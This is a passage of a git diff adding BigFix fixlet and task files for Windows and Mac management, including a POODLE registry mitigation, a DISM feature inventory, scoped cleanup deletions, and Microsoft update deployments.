+appendfile @reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v SecureProtocols /t REG_DWORD /d 0x80 /F
+delete "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
+copy __appendfile "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
+
+
+// Setup the Registry to run this ActiveSetup batch file on next logon (for each user)
+delete __createfile
+createfile until <EOF>
+REM Update this block as needed
+set KEYNAME=KB3009008_POODLE
+set TITLE=Installing KB3009008_POODLE
+set VERSION=1,0,0,0
+set VALUE=%COMSPEC% /c "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
+REM end of per-package settings
+
+
+set ACTIVESETUP=HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components
+
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /f
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /ve /t REG_SZ /d "%TITLE%" /f
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /v IsInstalled /t REG_DWORD /d 1 /f
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /v Version /t REG_SZ /d "%VERSION%" /f
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /v StubPath /t REG_EXPAND_SZ /d "%VALUE%" /f
+<EOF>
+
+delete "ActiveSetup-Registry.cmd"
+move __createfile "ActiveSetup-Registry.cmd"
+waithidden cmd /c ActiveSetup-Registry.cmd
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/DISM Inventory (1420).bes b/Sites/Windows Management/Fixlets/Fixlets/DISM Inventory (1420).bes
new file mode 100644
index 000000000..a24a9f1fa
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/DISM Inventory (1420).bes	
@@ -0,0 +1,146 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : DISM Inventory
+  ID       : 1420
+  Author   : danielheth
+  Domain   : SYST
+  Imported : 2013-04-01T16:10:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>DISM Inventory</Title>
+    <Description><![CDATA[<P>Calls the DISM utility present on Windows computers.</P>
+<P>This will generate a DISM.txt file in the client path.&nbsp; This file will contain the Enabled/Disabled state of all the available features.</P>
+<P>This will also enable many of the feature on/off tasks that are included in this custom site.</P>
+<P>This task also generates a diffDISM.txt file in the client path.&nbsp; This file lists a difference between the features available and the "missing" fixlets in the site.&nbsp;&nbsp; IE:&nbsp; We can't cover every single feature the instant it comes out.&nbsp; This results file is pulled into an analysis so new fixlets can be created (manually) for features we don't already have fixlets for.</P>
+<P><B>Source:</B> <A href="http://bigfix.me/features/">http://bigfix.me/features/</A></P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>exists file &quot;dism.exe&quot; of system folder</Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 17 Oct 2012 09:31:55 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 26 Dec 2012 14:41:12 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>DISM features fixlets Inventory Calls</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Apr 2013 21:01:53 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run a DISM inventory.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+//FIRST RUN AN INVENTORY AND OUTPUT TO A TEXT FILE WHICH FIXLETS TRIGGER OFF FROM.
+delete __appendfile
+if {version of client < "9.0"}
+	appendfile "{pathname of system folder}\dism.exe" /online /get-features /format:table > "{pathname of parent folder of client}\DISM.txt"
+else
+	appendfile "{pathname of native system folder}\dism.exe" /online /get-features /format:table > "{pathname of parent folder of client}\DISM.txt"
+endif
+delete __Download\dism.bat
+move __appendfile __Download\dism.bat
+action uses wow64 redirection {not x64 of operating system}
+waithidden __Download\dism.bat
+action uses wow64 redirection {x64 of operating system}
+//NOW LOOP THROUGH THE OUTPUT COMPARING TO EXISTING FIXLETS.  OUTPUT A LIST OF FEATURES WE DONT HAVE FIXLETS FOR WHICH AN ANALYSIS WILL PULL IN.
+delete __appendfile
+appendfile Set objFSO = CreateObject("Scripting.FileSystemObject")
+appendfile subFolderName = Replace("CustomSite_{name of current site}"," ","_")
+appendfile objStartFolder = "{pathname of parent folder of client folder of current site}\" & subFolderName & "\"
+appendfile Set objFolder = objFSO.GetFolder(objStartFolder)
+appendfile Set colFiles = objFolder.Files
+appendfile Set dismFile = objFSO.OpenTextFile("{pathname of parent folder of client}\DISM.txt", 1)
+appendfile Set objResults = objFSO.CreateTextFile("{pathname of parent folder of client}\diffDISM.txt", true)
+appendfile headerLine1 = false
+appendfile headerLine2 = false
+appendfile Do Until dismFile.AtEndOfStream
+appendfile 	strAvailableFeature = dismFile.ReadLine
+appendfile 	if NOT(headerLine1) AND NOT(headerLine2) then
+appendfile 		if (InStr(strAvailableFeature, "----------")) then
+appendfile 			headerLine1 = true
+appendfile 		end if
+appendfile 	elseif (headerLine1) AND NOT(headerLine2) then
+appendfile 		if (InStr(strAvailableFeature, "----------")) then
+appendfile 			headerLine2 = true
+appendfile 		end if
+appendfile 	else
+appendfile 		if (InStr(strAvailableFeature, "|")) then
+appendfile 			s = Split(strAvailableFeature)
+appendfile 			strFeatureName = Trim(s(0))
+appendfile 			foundIt = false
+appendfile 			For Each objFile in colFiles
+appendfile 			if UCase(objFSO.GetExtensionName(objFile.name)) = "FXF" then
+appendfile 				Set fixletFile = objFSO.OpenTextFile(objStartFolder & objFile.Name, 1)
+appendfile 				Set objRegEx = CreateObject("VBScript.RegExp")
+appendfile 				objRegEx.Pattern = strFeatureName
+appendfile 				Do Until fixletFile.AtEndOfStream
+appendfile 					strSearchString = fixletFile.ReadLine
+appendfile					Set colMatches = objRegEx.Execute(strSearchString)
+appendfile 					If colMatches.Count > 0 Then
+appendfile 						For Each strMatch in colMatches
+appendfile 							FeatureString = Replace(strSearchString,objRegEx.Pattern,"")
+appendfile 							foundIt = true
+appendfile 							exit do
+appendfile 						Next
+appendfile 					End If
+appendfile 				Loop
+appendfile 				fixletFile.Close
+appendfile 			end if
+appendfile 			Next
+appendfile 			if NOT (foundIt) then
+appendfile 				objResults.WriteLine strFeatureName
+appendfile 			end if
+appendfile 		end if
+appendfile 	end if
+appendfile Loop
+appendfile dismFile.Close
+delete diffDISM.vbs
+move __appendfile diffDISM.vbs
+waithidden cmd /c cscript diffDISM.vbs
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance">not exists file &quot;DISM.txt&quot; of parent folder of client</SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action211">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about the DISM tool.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/dd744566(v=ws.10).aspx</ActionScript>
+    </Action>
+    <Action ID="Action212">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more and download the latest versions of Feature Installer tasks.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/winfeatures/</ActionScript>
+    </Action>
+    <Action ID="Action1666">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/68</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Delete Identity Finder temp file if one exists over 2GB in size (1415).bes b/Sites/Windows Management/Fixlets/Fixlets/Delete Identity Finder temp file if one exists over 2GB in size (1415).bes
new file mode 100644
index 000000000..91daf7159
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Delete Identity Finder temp file if one exists over 2GB in size (1415).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Delete Identity Finder temp file if one exists over 2GB in size
+  ID       : 1415
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-03-11T16:09:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Delete Identity Finder temp file if one exists over 2GB in size</Title>
+    <Description><![CDATA[<P>WARNING: This fixlet should not be used without first investigating the cause, as it should not ever be relevant unless there is a problem. This fixlet was created to deal with a specific issue where Identity Finder left behind temp files over 10GB in size on many machines and this was used to clean it up. This is not normal or typical behavior, so any machine reporting as relevant should be investigated. If for some reason there is more than 1 file over 2GB in the user's IDF temp folder then it will report back as failed even though it deleted one of them since there will still be another. It will take multiple runs to clear it up if that is the case.</P>
+<P>This fixlet will delete an Identity Finder (IDF) temp file if there is one that is over 2GB in size. This is to address a specific issue that was experienced with Identity Finder that most likely no longer applies. This will not be relevant on most computers and only be relevant if there is at least one IDF temp file over 2GB in size located in the user's temp folder for IDF. This fixlet does not clear out all Identity Finder temp files. </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;users&quot; of drive of system folder</Relevance>
+    <Relevance><![CDATA[(2*1024*1024*1024) < size of descendant whose(size of it = maximum of sizes of descendants of folders "AppData\Local\Temp\Identity Finder\Identity Finder" of folders whose (exists folder "AppData\Local\Temp\Identity Finder\Identity Finder" of it) of folder "users" of drive of system folder) of folders "AppData\Local\Temp\Identity Finder\Identity Finder" of folders whose (exists folder "AppData\Local\Temp\Identity Finder\Identity Finder" of it) of folder "users" of drive of system folder]]></Relevance>
+    <Relevance>exists folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders of folders of folder &quot;users&quot; of drive of system folder</Relevance>
+    <Relevance>not exists running application whose(name of it = &quot;IdentityFinder.exe&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-10-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 11 Mar 2013 20:55:36 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete &quot;{pathname of descendant whose(size of it = maximum of sizes of descendants of folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder) of folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Delete NAME_OF_NETWORK WiFi Profile - Windows (6171).bes b/Sites/Windows Management/Fixlets/Fixlets/Delete NAME_OF_NETWORK WiFi Profile - Windows (6171).bes
new file mode 100644
index 000000000..264876e2d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Delete NAME_OF_NETWORK WiFi Profile - Windows (6171).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Delete NAME_OF_NETWORK WiFi Profile - Windows
+  ID       : 6171
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-08-21T17:22:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Delete NAME_OF_NETWORK WiFi Profile - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists node values whose(it as trimmed string = &quot;NAME_OF_NETWORK&quot;) of (selects &quot;/WLANProfile/name/text()&quot; of it; selects &quot;/WLANProfile/SSIDConfig/SSID/name/text()&quot; of it) of xml documents of files whose(name of it as lowercase ends with &quot;.xml&quot;) of folders of folders &quot;C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-08-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 22 Aug 2015 00:21:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+wait netsh wlan delete profile name=&quot;NAME_OF_NETWORK&quot;
+
+notify client ForceRefresh
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Delete large Dell Driver folder from systems with low free space (721).bes b/Sites/Windows Management/Fixlets/Fixlets/Delete large Dell Driver folder from systems with low free space (721).bes
new file mode 100644
index 000000000..150c8c361
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Delete large Dell Driver folder from systems with low free space (721).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Delete large Dell Driver folder from systems with low free space
+  ID       : 721
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-05T11:11:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Delete large Dell Driver folder from systems with low free space</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (folder &quot;dell&quot; of drive of system folder)</Relevance>
+    <Relevance><![CDATA[1000 < ((sum of sizes of descendants of folder "dell" of drive of system folder) / (1024 * 1024))]]></Relevance>
+    <Relevance><![CDATA[4096 > ((free space of drive of system folder)/(1024 * 1024))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 02 Oct 2012 17:35:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/rmdir.mspx?mfr=true
+// cmd rmdir <path> /s /q
+waithidden cmd.exe /C rmdir {pathname of (folder "dell" of drive of system folder)} /s /q]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Delete start menu shortcuts containing _uninstall_ (3657).bes b/Sites/Windows Management/Fixlets/Fixlets/Delete start menu shortcuts containing _uninstall_ (3657).bes
new file mode 100644
index 000000000..8bc05354d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Delete start menu shortcuts containing _uninstall_ (3657).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Delete start menu shortcuts containing "uninstall"
+  ID       : 3657
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-11-27T09:44:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Delete start menu shortcuts containing &quot;uninstall&quot;</Title>
+    <Description><![CDATA[<P>This task will delete any start menu shortcuts containing "uninstall"</P>
+<P>Users without Admin rights cannot delete these shortcuts, and they cannot actually uninstall most programs either. Programs can be uninstalled through the "Add/Remove Programs" UI instead of using these shortcuts.</P>
+<P>To see what this task will delete, see the property "All Users Start Menu "Uninstall" shortcuts" in the analysis "All Users - Files &amp; Shortcuts - Desktop &amp; Start Menu - Windows"</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists descendants whose(name of it as lowercase ends with &quot;.lnk&quot; AND name of it as lowercase contains &quot;uninstall&quot;) of folder ((it as string) of value &quot;Common Start Menu&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of native registry)</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2013-11-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 27 Nov 2013 16:38:16 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+dos del {("%22" & it & "%22") of concatenation "%22;%22" of pathnames of descendants whose(name of it as lowercase ends with ".lnk" AND name of it as lowercase contains "uninstall") of folder ((it as string) of value "Common Start Menu" of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" of native registry)}]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Deploy - Windows Management Framework - 4.0 - Windows (23565).bes b/Sites/Windows Management/Fixlets/Fixlets/Deploy - Windows Management Framework - 4.0 - Windows (23565).bes
new file mode 100644
index 000000000..7748c39ae
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Deploy - Windows Management Framework - 4.0 - Windows (23565).bes	
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Deploy - Windows Management Framework - 4.0 - Windows
+  ID       : 23565
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:05:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Deploy - Windows Management Framework - 4.0 - Windows</Title>
+    <Description><![CDATA[<P>Deploys Windows Management Framework 4.0.</P>
+<P>Requires .Net 4.5</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* Must be Windows 7 SP1 or  or Windows Server 2008 R2 SP1 */  (version of it equals &quot;6.1&quot; as version and service pack major version of it = 1) of operating system</Relevance>
+    <Relevance><![CDATA[/* Must have .Net Framework 4.5 installed */ (value "Version" of key "client" of it as string as version >= "4.5" as version) of key "Microsoft\Net Framework Setup\NDP\v4" of key "HKLM\Software" of x64 registry]]></Relevance>
+    <Relevance><![CDATA[/* Only run if powershell 4.0 or above not already installed */ not exists value "PowerShellVersion" whose (it as string as version >= "4.0" as version) of keys "HKLM\Software\Microsoft\Powershell\3\PowerShellEngine" of native registry]]></Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Window Management Framework</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-01-06</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action24613">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to deploy this action</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
+	prefetch KB2819745.msu sha1:5d40d059b9ea7f1d596f608a07cca49e4537dc15 size:19304283 https://download.microsoft.com/download/3/D/6/3D61D262-8549-4769-A660-230B67E15B25/Windows6.1-KB2819745-x64-MultiPkg.msu sha256:fbc0889528656a3bc096f27434249f94cba12e413142aa38946fcdd8edf6f4c5
+else
+	prefetch KB2819745.msu sha1:378BD9F96B8C898B86BB0C0B92F2C9C000748C5E size:14736102 https://download.microsoft.com/download/3/D/6/3D61D262-8549-4769-A660-230B67E15B25/Windows6.1-KB2819745-x86-MultiPkg.msu sha256:D5DD77C5CD6370984257C81269CE40F83466D20339E44BB6DE40C22D96641B98
+endif
+
+wait __Download\KB2819745.msu /quiet /norestart</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.5 (2531).bes b/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.5 (2531).bes
new file mode 100644
index 000000000..45cecb295
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.5 (2531).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Deploy Microsoft Office 2011 Update 14.3.5
+  ID       : 2531
+  Author   : hansen_m
+  Domain   : BESC
+  Imported : 2013-07-08T08:56:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Deploy Microsoft Office 2011 Update 14.3.5</Title>
+    <Description><![CDATA[This task will deploy Microsoft Office 2011 Update 14.3.5 <BR><BR>- Requires Microsoft Office 2011 Service Pack 1 <BR><BR>This task is applicable on Mac OS X 10.6, Mac OS X 10.7 and Mac OS X 10.8 ]]></Description>
+    <Relevance>mac of operating system</Relevance>
+    <Relevance><![CDATA[(system version >= "10.6" AND system version < "10.9")]]></Relevance>
+    <Relevance>exists folder &quot;Microsoft Office 2011&quot; of applications folder</Relevance>
+    <Relevance><![CDATA[exists application "Microsoft Word.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft Excel.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft PowerPoint.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft Outlook.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0")]]></Relevance>
+    <Category>Software Deployment</Category>
+    <Source>Mac Software Deployment Wizard</Source>
+    <SourceID>mah60</SourceID>
+    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Mac Software Deployment Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 08 Jul 2013 13:31:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch Office2011-1435UpdateEN.dmg sha1:da4767931619e8ec3725c81672a067371c7b92ba size:118529423 http://download.microsoft.com/download/E/1/A/E1A3BFED-FED3-498E-8D02-EF4796F1F8E7/Office2011-1435UpdateEN.dmg
+wait /usr/bin/hdiutil attach -quiet -nobrowse -mountpoint &quot;/tmp/OFFICE20111435&quot; &quot;{posix path of file &quot;Office2011-1435UpdateEN.dmg&quot; of folder &quot;__Download&quot; of client folder of current site}&quot;
+wait /bin/sh -c &quot;/usr/sbin/installer -pkg /tmp/OFFICE20111435/Office\ 2011\ 14.3.5\ Update.pkg -target /&quot;
+wait /usr/bin/hdiutil detach -force &quot;/tmp/OFFICE20111435&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.6 (2539).bes b/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.6 (2539).bes
new file mode 100644
index 000000000..13328cad7
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.6 (2539).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Deploy Microsoft Office 2011 Update 14.3.6
+  ID       : 2539
+  Author   : hansen_m
+  Domain   : BESC
+  Imported : 2013-07-21T08:00:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Deploy Microsoft Office 2011 Update 14.3.6</Title>
+    <Description><![CDATA[This task will deploy Microsoft Office 2011 Update 14.3.6<BR><BR>- Requires Microsoft Office 2011 Service Pack 1 <BR><BR>This task is applicable on Mac OS X 10.6, Mac OS X 10.7 and Mac OS X 10.8 ]]></Description>
+    <Relevance>mac of operating system</Relevance>
+    <Relevance><![CDATA[(system version >= "10.6" AND system version < "10.9")]]></Relevance>
+    <Relevance>exists folder &quot;Microsoft Office 2011&quot; of applications folder</Relevance>
+    <Relevance><![CDATA[exists application "Microsoft Word.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft Excel.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft PowerPoint.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft Outlook.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0")]]></Relevance>
+    <Category>Software Deployment</Category>
+    <Source>Mac Software Deployment Wizard</Source>
+    <SourceID>mah60</SourceID>
+    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Mac Software Deployment Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 19 Jul 2013 15:02:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch Office2011-1436Update_EN-US.dmg sha1:e55b56088a7ffde3a544b497926a4b4e4874a505 size:118568321 http://download.microsoft.com/download/F/A/2/FA2FBEE4-A7F9-4E59-8474-C580E2CBE412/Office2011-1436Update_EN-US.dmg
+wait /usr/bin/hdiutil attach -quiet -nobrowse -mountpoint &quot;/tmp/OFFICE20111436&quot; &quot;{posix path of file &quot;Office2011-1436Update_EN-US.dmg&quot; of folder &quot;__Download&quot; of client folder of current site}&quot;
+wait /bin/sh -c &quot;/usr/sbin/installer -pkg /tmp/OFFICE20111436/Office\ 2011\ 14.3.6\ Update.pkg -target /&quot;
+wait /usr/bin/hdiutil detach -force &quot;/tmp/OFFICE20111436&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Designate ALWAYS On Profile (2611).bes b/Sites/Windows Management/Fixlets/Fixlets/Designate ALWAYS On Profile (2611).bes
new file mode 100644
index 000000000..2fbeb19cf
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Designate ALWAYS On Profile (2611).bes	
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Designate ALWAYS On Profile
+  ID       : 2611
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-10-03T19:24:15
+  Source   : bigfixm1_main @ BES-Root
+-->
